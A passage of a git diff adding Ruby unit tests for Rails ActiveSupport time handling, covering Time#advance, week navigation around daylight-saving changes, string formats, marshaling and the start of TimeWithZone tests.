+ assert_equal Time.local(2001,12,27,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
+ assert_equal Time.local(2005,2,28,15,15,10), Time.local(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
+ assert_equal Time.local(2005,2,28,20,15,10), Time.local(2005,2,28,15,15,10).advance(:hours => 5)
+ assert_equal Time.local(2005,2,28,15,22,10), Time.local(2005,2,28,15,15,10).advance(:minutes => 7)
+ assert_equal Time.local(2005,2,28,15,15,19), Time.local(2005,2,28,15,15,10).advance(:seconds => 9)
+ assert_equal Time.local(2005,2,28,20,22,19), Time.local(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
+ assert_equal Time.local(2005,2,28,10,8,1), Time.local(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
+ assert_equal Time.local(2013,10,17,20,22,19), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
+ end
+
+ def test_utc_advance
+ assert_equal Time.utc(2006,2,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 1)
+ assert_equal Time.utc(2005,6,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:months => 4)
+ assert_equal Time.utc(2005,3,21,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3)
+ assert_equal Time.utc(2005,3,25,3,15,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3.5)
+ assert_in_delta Time.utc(2005,3,26,12,51,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3.7), 1
+ assert_equal Time.utc(2005,3,5,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5)
+ assert_equal Time.utc(2005,3,6,3,15,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5.5)
+ assert_in_delta Time.utc(2005,3,6,8,3,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5.7), 1
+ assert_equal Time.utc(2012,9,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 7, :months => 7)
+ assert_equal Time.utc(2013,10,3,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 7, :months => 19, :days => 11)
+ assert_equal Time.utc(2013,10,17,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
+ assert_equal Time.utc(2001,12,27,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
+ assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
+ assert_equal Time.utc(2005,2,28,20,15,10), Time.utc(2005,2,28,15,15,10).advance(:hours => 5)
+ assert_equal Time.utc(2005,2,28,15,22,10), Time.utc(2005,2,28,15,15,10).advance(:minutes => 7)
+ assert_equal Time.utc(2005,2,28,15,15,19), Time.utc(2005,2,28,15,15,10).advance(:seconds => 9)
+ assert_equal Time.utc(2005,2,28,20,22,19), Time.utc(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
+ assert_equal Time.utc(2005,2,28,10,8,1), Time.utc(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
+ assert_equal Time.utc(2013,10,17,20,22,19), Time.utc(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
+ end
+
+ def test_offset_advance
+ assert_equal Time.new(2006,2,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 1)
+ assert_equal Time.new(2005,6,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:months => 4)
+ assert_equal Time.new(2005,3,21,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3)
+ assert_equal Time.new(2005,3,25,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3.5)
+ assert_in_delta Time.new(2005,3,26,12,51,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3.7), 1
+ assert_equal Time.new(2005,3,5,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5)
+ assert_equal Time.new(2005,3,6,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5.5)
+ assert_in_delta Time.new(2005,3,6,8,3,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5.7), 1
+ assert_equal Time.new(2012,9,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 7, :months => 7)
+ assert_equal Time.new(2013,10,3,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 7, :months => 19, :days => 11)
+ assert_equal Time.new(2013,10,17,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
+ assert_equal Time.new(2001,12,27,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => -3, :months => -2, :days => -1)
+ assert_equal Time.new(2005,2,28,15,15,10,'-08:00'), Time.new(2004,2,29,15,15,10,'-08:00').advance(:years => 1) #leap day plus one year
+ assert_equal Time.new(2005,2,28,20,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => 5)
+ assert_equal Time.new(2005,2,28,15,22,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:minutes => 7)
+ assert_equal Time.new(2005,2,28,15,15,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:seconds => 9)
+ assert_equal Time.new(2005,2,28,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => 5, :minutes => 7, :seconds => 9)
+ assert_equal Time.new(2005,2,28,10,8,1,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => -5, :minutes => -7, :seconds => -9)
+ assert_equal Time.new(2013,10,17,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
+ end
+
+ def test_advance_with_nsec
+ t = Time.at(0, Rational(108635108, 1000))
+ assert_equal t, t.advance(:months => 0)
+ end
+
+ def test_last_week
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
+ assert_equal Time.local(2005,2,22), Time.local(2005,3,1,15,15,10).last_week(:tuesday)
+ assert_equal Time.local(2005,2,25), Time.local(2005,3,1,15,15,10).last_week(:friday)
+ assert_equal Time.local(2006,10,30), Time.local(2006,11,6,0,0,0).last_week
+ assert_equal Time.local(2006,11,15), Time.local(2006,11,23,0,0,0).last_week(:wednesday)
+ end
+ end
+
+ def test_next_week_near_daylight_start
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2006,4,3), Time.local(2006,4,2,23,1,0).next_week, 'just crossed standard => daylight'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,10,2), Time.local(2006,10,1,23,1,0).next_week, 'just crossed standard => daylight'
+ end
+ end
+
+ def test_next_week_near_daylight_end
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2006,10,30), Time.local(2006,10,29,23,1,0).next_week, 'just crossed daylight => standard'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,3,20), Time.local(2006,3,19,23,1,0).next_week, 'just crossed daylight => standard'
+ end
+ end
+
+ def test_to_s
+ time = Time.utc(2005, 2, 21, 17, 44, 30.12345678901)
+ assert_equal time.to_default_s, time.to_s
+ assert_equal time.to_default_s, time.to_s(:doesnt_exist)
+ assert_equal "2005-02-21 17:44:30", time.to_s(:db)
+ assert_equal "21 Feb 17:44", time.to_s(:short)
+ assert_equal "17:44", time.to_s(:time)
+ assert_equal "20050221174430", time.to_s(:number)
+ assert_equal "20050221174430123456789", time.to_s(:nsec)
+ assert_equal "February 21, 2005 17:44", time.to_s(:long)
+ assert_equal "February 21st, 2005 17:44", time.to_s(:long_ordinal)
+ with_env_tz "UTC" do
+ assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822)
+ end
+ with_env_tz "US/Central" do
+ assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
+ assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+ end
+ end
+
+ def test_custom_date_format
+ Time::DATE_FORMATS[:custom] = '%Y%m%d%H%M%S'
+ assert_equal '20050221143000', Time.local(2005, 2, 21, 14, 30, 0).to_s(:custom)
+ Time::DATE_FORMATS.delete(:custom)
+ end
+
+ def test_to_date
+ assert_equal Date.new(2005, 2, 21), Time.local(2005, 2, 21, 17, 44, 30).to_date
+ end
+
+ def test_to_datetime
+ assert_equal Time.utc(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, 0)
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
+ end
+ assert_equal ::Date::ITALY, Time.utc(2005, 2, 21, 17, 44, 30).to_datetime.start # use Ruby's default start value
+ end
+
+ def test_to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, Time.local(2005, 2, 21, 17, 44, 30).to_time.class
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30).to_time
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).utc_offset, Time.local(2005, 2, 21, 17, 44, 30).to_time.utc_offset
+ end
+ end
+
+ # NOTE: this test seems to fail (changeset 1958) only on certain platforms,
+ # like OSX, and FreeBSD 5.4.
+ def test_fp_inaccuracy_ticket_1836
+ midnight = Time.local(2005, 2, 21, 0, 0, 0)
+ assert_equal midnight.midnight, (midnight + 1.hour + 0.000001).midnight
+ end
+
+ def test_days_in_month_with_year
+ assert_equal 31, Time.days_in_month(1, 2005)
+
+ assert_equal 28, Time.days_in_month(2, 2005)
+ assert_equal 29, Time.days_in_month(2, 2004)
+ assert_equal 29, Time.days_in_month(2, 2000)
+ assert_equal 28, Time.days_in_month(2, 1900)
+
+ assert_equal 31, Time.days_in_month(3, 2005)
+ assert_equal 30, Time.days_in_month(4, 2005)
+ assert_equal 31, Time.days_in_month(5, 2005)
+ assert_equal 30, Time.days_in_month(6, 2005)
+ assert_equal 31, Time.days_in_month(7, 2005)
+ assert_equal 31, Time.days_in_month(8, 2005)
+ assert_equal 30, Time.days_in_month(9, 2005)
+ assert_equal 31, Time.days_in_month(10, 2005)
+ assert_equal 30, Time.days_in_month(11, 2005)
+ assert_equal 31, Time.days_in_month(12, 2005)
+ end
+
+ def test_days_in_month_feb_in_common_year_without_year_arg
+ Time.stubs(:now).returns(Time.utc(2007))
+ assert_equal 28, Time.days_in_month(2)
+ end
+
+ def test_days_in_month_feb_in_leap_year_without_year_arg
+ Time.stubs(:now).returns(Time.utc(2008))
+ assert_equal 29, Time.days_in_month(2)
+ end
+
+ def test_time_with_datetime_fallback
+ ActiveSupport::Deprecation.silence do
+ assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
+ assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
+ assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
+ assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
+ # This won't overflow on 64bit linux
+ unless time_is_64bits?
+ assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1900, 2, 21, 17, 44, 30)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
+ DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
+ assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
+ end
+ silence_warnings do
+ 0.upto(138) do |year|
+ [:utc, :local].each do |format|
+ assert_equal year, Time.time_with_datetime_fallback(format, year).year
+ end
+ end
+ end
+ end
+ end
+
+ def test_utc_time
+ ActiveSupport::Deprecation.silence do
+ assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
+ assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
+ assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0)
+ end
+ end
+
+ def test_local_time
+ ActiveSupport::Deprecation.silence do
+ assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
+ assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
+
+ unless time_is_64bits?
+ assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1901, 2, 21, 17, 44, 30)
+ end
+ end
+ end
+
+ def test_time_with_datetime_fallback_deprecations
+ assert_deprecated(/time_with_datetime_fallback/) { Time.time_with_datetime_fallback(:utc, 2012, 6, 7) }
+ assert_deprecated(/utc_time/) { Time.utc_time(2012, 6, 7) }
+ assert_deprecated(/local_time/) { Time.local_time(2012, 6, 7) }
+ end
+
+ def test_last_month_on_31st
+ assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
+ end
+
+ def test_xmlschema_is_available
+ assert_nothing_raised { Time.now.xmlschema }
+ end
+
+ def test_today_with_time_local
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, Time.local(1999,12,31,23,59,59).today?
+ assert_equal true, Time.local(2000,1,1,0).today?
+ assert_equal true, Time.local(2000,1,1,23,59,59).today?
+ assert_equal false, Time.local(2000,1,2,0).today?
+ end
+
+ def test_today_with_time_utc
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, Time.utc(1999,12,31,23,59,59).today?
+ assert_equal true, Time.utc(2000,1,1,0).today?
+ assert_equal true, Time.utc(2000,1,1,23,59,59).today?
+ assert_equal false, Time.utc(2000,1,2,0).today?
+ end
+
+ def test_past_with_time_current_as_time_local
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
+ assert_equal true, Time.local(2005,2,10,15,30,44).past?
+ assert_equal false, Time.local(2005,2,10,15,30,45).past?
+ assert_equal false, Time.local(2005,2,10,15,30,46).past?
+ assert_equal true, Time.utc(2005,2,10,20,30,44).past?
+ assert_equal false, Time.utc(2005,2,10,20,30,45).past?
+ assert_equal false, Time.utc(2005,2,10,20,30,46).past?
+ end
+ end
+
+ def test_past_with_time_current_as_time_with_zone
+ with_env_tz 'US/Eastern' do
+ twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)')
+ Time.stubs(:current).returns(twz)
+ assert_equal true, Time.local(2005,2,10,10,30,44).past?
+ assert_equal false, Time.local(2005,2,10,10,30,45).past?
+ assert_equal false, Time.local(2005,2,10,10,30,46).past?
+ assert_equal true, Time.utc(2005,2,10,15,30,44).past?
+ assert_equal false, Time.utc(2005,2,10,15,30,45).past?
+ assert_equal false, Time.utc(2005,2,10,15,30,46).past?
+ end
+ end
+
+ def test_future_with_time_current_as_time_local
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
+ assert_equal false, Time.local(2005,2,10,15,30,44).future?
+ assert_equal false, Time.local(2005,2,10,15,30,45).future?
+ assert_equal true, Time.local(2005,2,10,15,30,46).future?
+ assert_equal false, Time.utc(2005,2,10,20,30,44).future?
+ assert_equal false, Time.utc(2005,2,10,20,30,45).future?
+ assert_equal true, Time.utc(2005,2,10,20,30,46).future?
+ end
+ end
+
+ def test_future_with_time_current_as_time_with_zone
+ with_env_tz 'US/Eastern' do
+ twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)')
+ Time.stubs(:current).returns(twz)
+ assert_equal false, Time.local(2005,2,10,10,30,44).future?
+ assert_equal false, Time.local(2005,2,10,10,30,45).future?
+ assert_equal true, Time.local(2005,2,10,10,30,46).future?
+ assert_equal false, Time.utc(2005,2,10,15,30,44).future?
+ assert_equal false, Time.utc(2005,2,10,15,30,45).future?
+ assert_equal true, Time.utc(2005,2,10,15,30,46).future?
+ end
+ end
+
+ def test_acts_like_time
+ assert Time.new.acts_like_time?
+ end
+
+ def test_formatted_offset_with_utc
+ assert_equal '+00:00', Time.utc(2000).formatted_offset
+ assert_equal '+0000', Time.utc(2000).formatted_offset(false)
+ assert_equal 'UTC', Time.utc(2000).formatted_offset(true, 'UTC')
+ end
+
+ def test_formatted_offset_with_local
+ with_env_tz 'US/Eastern' do
+ assert_equal '-05:00', Time.local(2000).formatted_offset
+ assert_equal '-0500', Time.local(2000).formatted_offset(false)
+ assert_equal '-04:00', Time.local(2000, 7).formatted_offset
+ assert_equal '-0400', Time.local(2000, 7).formatted_offset(false)
+ end
+ end
+
+ def test_compare_with_time
+ assert_equal 1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999)
+ assert_equal 0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0, 001))
+ end
+
+ def test_compare_with_datetime
+ assert_equal 1, Time.utc(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+ assert_equal 0, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+ end
+
+ def test_compare_with_time_with_zone
+ assert_equal 1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
+ assert_equal 0, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
+ assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
+ end
+
+ def test_eql?
+ assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+ assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+ assert_equal false,Time.utc(2000, 1, 1, 0, 0, 1).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+ end
+
+ def test_minus_with_time_with_zone
+ assert_equal 86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
+ end
+
+ def test_minus_with_datetime
+ assert_equal 86_400.0, Time.utc(2000, 1, 2) - DateTime.civil(2000, 1, 1)
+ end
+
+ def test_time_created_with_local_constructor_cannot_represent_times_during_hour_skipped_by_dst
+ with_env_tz 'US/Eastern' do
+ # On Apr 2 2006 at 2:00AM in US, clocks were moved forward to 3:00AM.
+ # Therefore, 2AM EST doesn't exist for this date; Time.local fails over to 3:00AM EDT
+ assert_equal Time.local(2006, 4, 2, 3), Time.local(2006, 4, 2, 2)
+ assert Time.local(2006, 4, 2, 2).dst?
+ end
+ end
+
+ def test_case_equality
+ assert Time === Time.utc(2000)
+ assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC'])
+ assert Time === Class.new(Time).utc(2000)
+ assert_equal false, Time === DateTime.civil(2000)
+ assert_equal false, Class.new(Time) === Time.utc(2000)
+ assert_equal false, Class.new(Time) === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC'])
+ end
+
+ def test_all_day
+ assert_equal Time.local(2011,6,7,0,0,0)..Time.local(2011,6,7,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_day
+ end
+
+ def test_all_day_with_timezone
+ beginning_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011,6,7,0,0,0))
+ end_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011,6,7,23,59,59,Rational(999999999, 1000)))
+
+ assert_equal beginning_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011,6,7,10,10,10), ActiveSupport::TimeZone["Hawaii"]).all_day.begin
+ assert_equal end_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011,6,7,10,10,10), ActiveSupport::TimeZone["Hawaii"]).all_day.end
+ end
+
+ def test_all_week
+ assert_equal Time.local(2011,6,6,0,0,0)..Time.local(2011,6,12,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_week
+ assert_equal Time.local(2011,6,5,0,0,0)..Time.local(2011,6,11,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_week(:sunday)
+ end
+
+ def test_all_month
+ assert_equal Time.local(2011,6,1,0,0,0)..Time.local(2011,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_month
+ end
+
+ def test_all_quarter
+ assert_equal Time.local(2011,4,1,0,0,0)..Time.local(2011,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_quarter
+ end
+
+ def test_all_year
+ assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_year
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+
+ def time_is_64bits?
+ Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).is_a?(Time)
+ end
+end
+
+class TimeExtMarshalingTest < ActiveSupport::TestCase
+ def test_marshaling_with_utc_instance
+ t = Time.utc(2000)
+ unmarshaled = Marshal.load(Marshal.dump(t))
+ assert_equal "UTC", unmarshaled.zone
+ assert_equal t, unmarshaled
+ end
+
+ def test_marshaling_with_local_instance
+ t = Time.local(2000)
+ unmarshaled = Marshal.load(Marshal.dump(t))
+ assert_equal t.zone, unmarshaled.zone
+ assert_equal t, unmarshaled
+ end
+
+ def test_marshaling_with_frozen_utc_instance
+ t = Time.utc(2000).freeze
+ unmarshaled = Marshal.load(Marshal.dump(t))
+ assert_equal "UTC", unmarshaled.zone
+ assert_equal t, unmarshaled
+ end
+
+ def test_marshaling_with_frozen_local_instance
+ t = Time.local(2000).freeze
+ unmarshaled = Marshal.load(Marshal.dump(t))
+ assert_equal t.zone, unmarshaled.zone
+ assert_equal t, unmarshaled
+ end
+
+ def test_marshalling_preserves_fractional_seconds
+ t = Time.parse('00:00:00.500')
+ unmarshaled = Marshal.load(Marshal.dump(t))
+ assert_equal t.to_f, unmarshaled.to_f
+ assert_equal t, unmarshaled
+ end
+
+ def test_last_quarter_on_31st
+ assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).last_quarter
+ end
+end
+
+class TimeExtBehaviorTest < ActiveSupport::TestCase
+ def test_compare_with_infinity
+ assert_equal(-1, Time.now <=> Float::INFINITY)
+ assert_equal(1, Time.now <=> -Float::INFINITY)
+ end
+end
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
new file mode 100644
index 0000000..98a87ab
--- /dev/null
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -0,0 +1,1130 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'active_support/json'
+
+class TimeWithZoneTest < ActiveSupport::TestCase
+
+ def setup
+ @utc = Time.utc(2000, 1, 1, 0)
+ @time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ @twz = ActiveSupport::TimeWithZone.new(@utc, @time_zone)
+ end
+
+ def test_utc
+ assert_equal @utc, @twz.utc
+ end
+
+ def test_time
+ assert_equal Time.utc(1999, 12, 31, 19), @twz.time
+ end
+
+ def test_time_zone
+ assert_equal @time_zone, @twz.time_zone
+ end
+
+ def test_in_time_zone
+ Time.use_zone 'Alaska' do
+ assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone['Alaska']), @twz.in_time_zone
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone['Alaska']), @twz.in_time_zone('Alaska')
+ end
+
+ def test_in_time_zone_with_new_zone_equal_to_old_zone_does_not_create_new_object
+ assert_equal @twz.object_id, @twz.in_time_zone(ActiveSupport::TimeZone['Eastern Time (US & Canada)']).object_id
+ end
+
+ def test_in_time_zone_with_bad_argument
+ assert_raise(ArgumentError) { @twz.in_time_zone('No such timezone exists') }
+ assert_raise(ArgumentError) { @twz.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @twz.in_time_zone(Object.new) }
+ end
+
+ def test_localtime
+ assert_equal @twz.localtime, @twz.utc.getlocal
+ end
+
+ def test_utc?
+ assert_equal false, @twz.utc?
+ assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']).utc?
+ end
+
+ def test_formatted_offset
+ assert_equal '-05:00', @twz.formatted_offset
+ assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
+ end
+
+ def test_dst?
+ assert_equal false, @twz.dst?
+ assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst?
+ end
+
+ def test_zone
+ assert_equal 'EST', @twz.zone
+ assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
+ end
+
+ def test_to_json_with_use_standard_json_time_format_config_set_to_false
+ old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, false
+ assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
+ ensure
+ ActiveSupport.use_standard_json_time_format = old
+ end
+
+ def test_to_json_with_use_standard_json_time_format_config_set_to_true
+ old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
+ assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(@twz)
+ ensure
+ ActiveSupport.use_standard_json_time_format = old
+ end
+
+ def test_nsec
+ local = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
+ with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
+
+ assert_equal local.nsec, with_zone.nsec
+ assert_equal with_zone.nsec, 999999999
+ end
+
+ def test_strftime
+ assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
+ end
+
+ def test_inspect
+ assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
+ end
+
+ def test_to_s
+ assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s
+ end
+
+ def test_to_formatted_s
+ assert_equal '1999-12-31 19:00:00 -0500', @twz.to_formatted_s
+ end
+
+ def test_to_s_db
+ assert_equal '2000-01-01 00:00:00', @twz.to_s(:db)
+ end
+
+ def test_xmlschema
+ assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema
+ end
+
+ def test_xmlschema_with_fractional_seconds
+ @twz += 0.1234560001 # advance the time by a fraction of a second
+ assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12)
+ end
+
+ def test_xmlschema_with_fractional_seconds_lower_than_hundred_thousand
+ @twz += 0.001234 # advance the time by a fraction
+ assert_equal "1999-12-31T19:00:00.001-05:00", @twz.xmlschema(3)
+ assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(6)
